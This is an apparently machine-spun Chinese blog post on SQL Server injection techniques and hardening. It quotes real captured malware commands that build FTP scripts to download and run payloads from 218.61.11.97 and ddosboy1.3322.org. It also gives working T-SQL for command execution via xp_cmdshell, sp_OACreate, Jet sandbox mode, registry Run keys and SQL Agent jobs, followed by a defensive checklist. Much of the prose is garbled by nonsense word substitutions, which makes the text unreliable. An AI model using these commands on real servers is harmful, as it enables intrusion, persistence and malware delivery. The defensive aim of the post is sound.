sqlserver注入方式与石嘴山防护的读书

   
自己的开发机经历了一遍的中毒现像.每趟中毒的现像,都是sqlserver.exe进程去实施cmd.com进度,然后生成*.sys与*.bat四个文本,然后去选取ftp.exe去下载木马下载器,然后杀毒软件起初报警了.

    上边是cmd.com执行命令内容
    “C:”WINDOWS”system32″cmd.com” /c net1 stop sharedaccess&echo open
218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo
11>>dboy.sys&echo get pc.exe C:”boots.exe>>dboy.sys&echo
bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy
C:”boots.exeC:”WINDOWS”system32″inf”test.exe&echo start start /high “”
C:”WINDOWS”system32″inf”test.exe&echo start
C:”boots.exe>>dboy.bat&echo start
C:”boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del
%0>>dboy.bat&dboy.bat

    “C:”WINDOWS”system32″cmd.com” /c sc stop sharedaccess&echo open
ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo
if>>dboy1.sys&echo get dboy1.exe
C:”Windows”tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo
ftp -s:dboy1.sys>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo start
C:”Windows”tcpsrv1.exe>>system1.bat&echo del
dboy1.sys>>system1.bat&echo del
%0>>system1.bat&system1.bat

   第五遍中毒,之后,就对sql server举行了拉长,删除了”xp_cmdshell”那么些sql
server中最不安全的伸张存储进度.不过,好了没一个月,又来中三回.
  
本次,我检查了数据库日志,xp_cmdshell并不曾回复,但是却在日记在意识了sp_oacreate与sp_oamethod四个存储进程的实施日志.
   于是上网学习,把团结的就学的一部分事物记录下来:
   1. 低等sql注入攻击
   初级黑客攻击SQL
Server时,首先利用的章程是履行master数据库中的扩大存储进程xp_cmdshell命令来举办一些命令,添加用户,添加文(加文(Gavin))书,添加木马病毒等.
   对付此类黑客只要禁用xp_cmdshell存储进度就足以了.
   xp_cmdshell是一个同意实施任意的下令行命令的停放的贮存进度。例如:
   Exec master..xp_cmdshell ‘dir’
   将得到SQLSERVER进度的当前工作目录中的目录列表。如图:

SQL Server 1

 

   Exec master..xp_cmdshell ‘net user’
  
将提供服务器上具备用户的列表。当SQLSERVER正常以系列帐户或域帐户运行时,攻击者可以做出更要紧的损害。

  
从地点的多个示范中能够看来xp_cmdshell的精锐成效,效率的精锐也表示破坏性的强大.
  
一般景色下,xp_cmdshell对领队来说也是不需要的,xp_cmdshell的消除不会对Server造成任何影响。  
 
   可以将xp_cmdshell消除:    
   Use   Master    
   Exec   sp_dropextendedproc   ‘xp_cmdshell’
   Go    
         
   要是必要的话,可以把xp_cmdshell复苏回来:    
   Use   Master    
   Exec   sp_addextendedproc   ‘xp_cmdshell’, ‘xplog70.dll’
   Go    

   借使有要求可以把xplog70.dll那一个文件也删除了,记得做好备份.

sql 2005:

    sql 2005默许情况下是不能举办xp_cmdshell存储进度的,但那就安全了吧?

 
开启xp_cmdshell存储进度的实施权限
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
关闭xp_cmdshell存储进度的进行权限
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

 

 

  
删除了xplog70.dll将震慑到”集团管理器”的一部分机能,我遇到的是力不从心在”集团管理器”中查看数据库服务器的属性.
   
   2.当中sql注入攻击
     大家举行了地点这一步的操作之后,就足以防患住了sql
server的平安了吧?不行,那不得不针对一些刚上学sql注入的菜鸟才使得的不二法门,对于中鸟及老鸟可更加,他们的格局可多了.
     现在让大家来看一下中间注入的方法.
    
当数据库管理员禁用了xp_cmdshell同时删除了xplog70.dll,也明令禁止了文件上传功用,那么针对初级来说使用xp_cmdshell来开展一些操作已经不可行了.
     然则微软还提供了部分别样作用的储存进度,可以让中级黑客进行侵犯.
     1) 利用OLE对象接口
      SQL
SERVER提供了部分函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
      可以应用他们调用OLE控件,直接获取一个
shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后利用SP_OAMETHOD调用@shell的属性run执行命令。

      DECLARE @shell INT
      EXEC SP_OAcreate ‘wscript.shell’,@shell out
      EXEC SP_OAMETHOD @shell,’run’,null, ‘net user hack hack /add’

    2) 开启access的沙盒形式
       在默许意况下Jet数据引擎不接济select shell(“net user ray ray
/add”)那样的SQL语句,
       不过翻开了JET引擎的沙盒格局后就足以执行命令,
       先利用xp_regwrite存储进程改写注册表,然后选拔OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再实践运行命令的SQL语句。

       EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SoftWare”Microsoft”Jet”4.0   
“Engines’,’SandBoxMode’,’REG_DWORD’,3

    SandBoxmode值说明
    默许值为2,
    0–表示一向禁用SandBoxmode形式,
    1–代表对此非Acess应用程序试用SandBoxmode形式,
    2–意味着对access应用程序使用SandBoxmode方式,
    3–则表示完全开启安全设置。

        Select * From
OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:”windows”system32″ias”ias.mdb’,’select
shell(“net user hack hack /add”)’);

 
     3) 利用xp_regxxxxx之类的囤积进程写注册表项
    那一个点子唯有sa账户或是sysadmin权限的帐户才可以使用.
    执行
    exec xp_regread ”HKEY_LOCAL_MACHINE”,
”SECURITY”SAM”Domains”Account”, ”F”
    倘使遇上一个疏忽的管理员,说不定就能收获管理员的密码.
    加一个启动项什么的自然不在话下。
    利用xp_regwrite写注册表项,直接把要执行的下令写入RUN启动项。
    EXEC master.dbo.xp_regwrite
‘HKEY_LOCAL_MACHINE’,’SOFTWARE”Microsoft”Windows”currentversion”run’,’shell’,’REG_SZ’,’C:”windows”system32″cmd.exe
/c net user hack hack /add’

    如若有必不可少就把那么些增添都剔除了
    Xp_regaddmultistring (向注册表中加进项目)
    Xp_regdeletekey (从注册表中删除一个键)
    Xp_regdeletevalue (从注册表中去除一个键值)
    Xp_regenumvalues (列举主键下的键值)
    Xp_regread (读去一个主键下的键值)
    Xp_regremovemultistring (从注册表中去除项目)
    Xp_regwrite (向注册表中写入数据)

    4 ) 利用SQL代理执行命令
      
默许景况下这些服务是关门的.大家得以先采纳xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL布署义务,然后随即运行那个任务。

        exec master.dbo.xp_servicecontrol ‘start’,’SQLSERVERAGENT’
        use msdb exec sp_delete_job null,’x’
        exec sp_add_job ‘x’
        exec sp_add_jobstep Null,’x’,Null,’1′,’CMDEXEC’,’cmd /c Dir
C:”‘
        exec sp_add_jobserver Null,’x’,@@servername exec
sp_start_job ‘x’

  
 除了我举的方面四种艺术外,还有别的办法,但是我不太了然,我就不一一列举了。

   三、其余获取系统音讯
    
    历遍目录
    exec master.dbo.xp_dirtree ‘c:”‘
    获取子目录
    exec master.dbo.xp_SQL Server,subdirs ‘c:”‘
    列举可用的系统分区
    exec master.dbo.xp_availablemedia
    判断目录或文件是不是存在
    exec master..xp_fileexist ‘c:”boot.ini’
    等等,不一一列举了.

    四、高级注入技术
       
对于高等级注入技术,我在网上没找到有关的就学材料,我想那些技术也应有是在一小部分人流中流传的。所以也就不许讲起了。

   五、防御SQL注入的片段要点与艺术
    1. 认可已经设置了windows操作系统和SQL Server的新颖补丁程序。  
    2.
评估并且拔取一个考虑到最大的安全性然则同时又不影响功效的网络协议。
多合计是明智的选项, 不过它有时不可以在异种的环境中动用。  
       说明:即便可能请除去不须求的网络协议。  
    3. 给 “sa”
和持有”sysadmin”权限的帐户设定强壮的密码来加强其安全性。至于怎么着是强壮的密码吗,个人觉得是字母、数字、特殊字符的结合,不少八位字符。
    4. 采取一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用
LocalSystem 或sa。
       那个低权限的帐户应该唯有很小的权位和限量这一个帐户对SQL
Server的查询与存取操作。 用户可以用很小权限查询sql
server中的很多东西。若非必须毫无给予多余的权力。
       注意:当使用集团管理器做如上设置时 ,
文件,注册表和使用者职分上的权杖处理。  

    5. 确定所有的SQL服务器数据,而且系统文件是安装在 NTFS
分区,且”目录访问控制”被选择。
      
假诺万一某人获得对系统的存取操作权限,该层权限可以阻止侵略者破坏数据,幸免造成一场大灾荒。
 

    6.如果你不要求 xp_cmdshell
那请停用它。借使需求的话再把它扩大回来。
    其实那也好也糟糕————一个侵入者要是发现它不在了,也只须要把她加回来。考虑一下,能够除去在上面的
dll但是移除以前务必测试因为有点dll同时被一些先后所用。
    要找到其余的次序是或不是选用相同的 dll请进行以下步骤:  
    首先得到该 dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and o.name=‘xp_cmdshell‘  
    其次,使用相同的 dll发现其他的恢宏储存操作是不是选用该dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where
c.id=o.id and c.text=‘xplog70.dll‘  
    用户可以用同样的措施处理上面步骤中其余你想去掉的经过。  

    7. 如不须求就停用对象连接与嵌入自动化储存程序 ( 警告 –
当那一个囤积程序被停用的时候 , 一些店铺管理器功能可能有失).
那么些囤积进度如下:  
    sp_OACreate  
    sp_OADestroy  
    sp_OAGetErrorInfo  
    sp_OAGetProperty  
    sp_OAMethod  
    sp_OASetProperty  
    sp_OAStop  
  
 若是你决定停用这个囤积进度,那么请给她们写一个剧本那样在后来你用到他们的时候你可见把他们重新添加回来

    8. 剥夺你不要求的注册表存储进程。(同地点的警示)这一个包蕴:  
    xp_regaddmultistring  
    xp_regdeletekey  
    xp_regdeletevalue  
    xp_regenumvalues  
    xp_regremovemultistring  
    注意 :xp_regread/
xp_regwrite那四个存储进程的移除影响局地紧要作用包含日志和SP的安装,所以她们的移除不被引进。
 

    9.移除其他你觉得会促成威吓的序列储存进度。
那种存储进度是一定多的,而且他们也会浪费一些cpu时间。
    
小心不要首先在一个配备好的服务器上如此做。首先在开发的机器上测试,确认那样不会潜移默化到其余的种类机能。在下边是大家所推荐的有待你评估的局部列表:
 
    sp_sdidebug  
    xp_availablemedia  
    xp_cmdshell  
    xp_deletemail  
    xp_dirtree  
    xp_dropwebtask  
    xp_dsninfo  
    xp_enumdsn  
    xp_enumerrorlogs  
    xp_enumgroups  
    xp_enumqueuedtasks  
    xp_eventlog  
    xp_findnextmsg  
    xp_fixeddrives  
    xp_getfiledetails  
    xp_getnetname  
    xp_grantlogin  
    xp_logevent  
    xp_loginconfig  
    xp_logininfo  
    xp_makewebtask  
    xp_msver xp_perfend  
    xp_perfmonitor  
    xp_perfsample  
    xp_perfstart  
    xp_readerrorlog  
    xp_readmail  
    xp_revokelogin  
    xp_runwebtask  
    xp_schedulersignal  
    xp_sendmail  
    xp_servicecontrol  
    xp_snmp_getstate  
    xp_snmp_raisetrap  
    xp_sprintf  
    xp_sqlinventory  
    xp_sqlregister  
    xp_sqltrace  
    xp_sscanf  
    xp_startmail  
    xp_stopmail  
    xp_subdirs  
    xp_unc_to_drive  
    xp_dirtree  
    

    10. 除了数据库的guest账户,那样可以把未经许可的使用者排除在外。
例外情况是master和 tempdb 数据库,因为对她们guest帐户是必备的。  

    11.
若非亟须,请完全地剥夺SQL邮件功效。它的留存使潜在的攻击者递送潜在的
trojans ,病毒或是简单完毕一个DOS攻击成为可能  

    12. 记录所有的用户存取访问情形。
从店铺管理器做那些设定或通过以sa登陆进入查询分析器的下列各项:  
    xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE”
Microsoft”MSSQLServer”MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3  

    13. 手无寸铁一个安排的天职运行: 
  
 然后再重定向输出到一个文书文件或电子邮件,由此你监测战败的登录尝试。
    那也为系统管理员提供一个好的笔录攻击的法子。
也有过多用来分析NT日志事件的寓目者工具。
    注意: 你也许必要将路径换成你安装SQL的路子。  

    14. 设定违法访问和登陆败北日志警报。到 公司管理器中的”Manager SQL
Server Messages “搜寻其余有关无权访问的信息
    ( 从查找”login failed”和”denied”起首).
确定你富有感兴趣的音讯被记录到事件日志。然后在那几个音信上设定警报 ,
发送一个电子邮件或音信到一个力所能及对问题随即响应的操作员。  

    15.
平时检查组或角色全部会员并且确定用组分配权限,那样你的审计工作可以简化。
确定当您在的时候 , 公众的组不可以从系统表执行采纳操作。  

    16. 花些日子审计用空密码登陆的伸手。 使用上面的代码进行空密码检查:
 
    select  
    password  ,*
    from syslogins  
    where password is null  
    order by name  

    17. 检查有着非sa用户的存取进度和伸张存储进度的权位。
使用下边的查询定期的查询哪一个历程有民众存储权限:  
    Use master  
    select sysobjects.name  
    from sysobjects,sysprotects  
    where sysprotects.uid=0  
    AND xtype 在 (‘X‘,‘P‘)  
    AND sysobjects.id=sysprotects.id  
    Order by name  

    18. 马上用集团管理器的时候,使用整合的安全策略。
过去,公司管理器被察觉在标准的安全模态中储存 “sa” 密码在注册表的
plaintext 中。 注意: 尽管你改变模态,密码也会留在注册表中。

sql 2000:

    使用 regedit 而且检查键:  
    HKEY_USERS”{yourSID}”software”Microsoft”Microsoft SQL
server”80″tool”SQLEW”registered server X”SQL server group  
    (“SQL server组” 是默许值但是你恐怕已建立用户组因而相应地转移其岗位)
 

 

sql 2005曾经远非在注册表中写sqlew这一个键了.

      

 

    19.
制定一个安全审查安排,每月的一份安全报告,对IT总监可用的表格包含新的付出内容中举办的数据库修改,成功的攻击
, 备份尊敬 , 和对象存取失利统计。  

    20. 绝不允许使用者交互式登陆到 SQL
Server之上。那么些规则适用其他的服务器。
一旦一个使用者可以交互式进入一个服务器之内,就有能用来收获管理员的存取特权得到管理员权限。
 

 

 最后就是,对方怎么得到本人的支出机上的动态IP的,那我怎么也没想清楚.

 

 

 

 

相关文章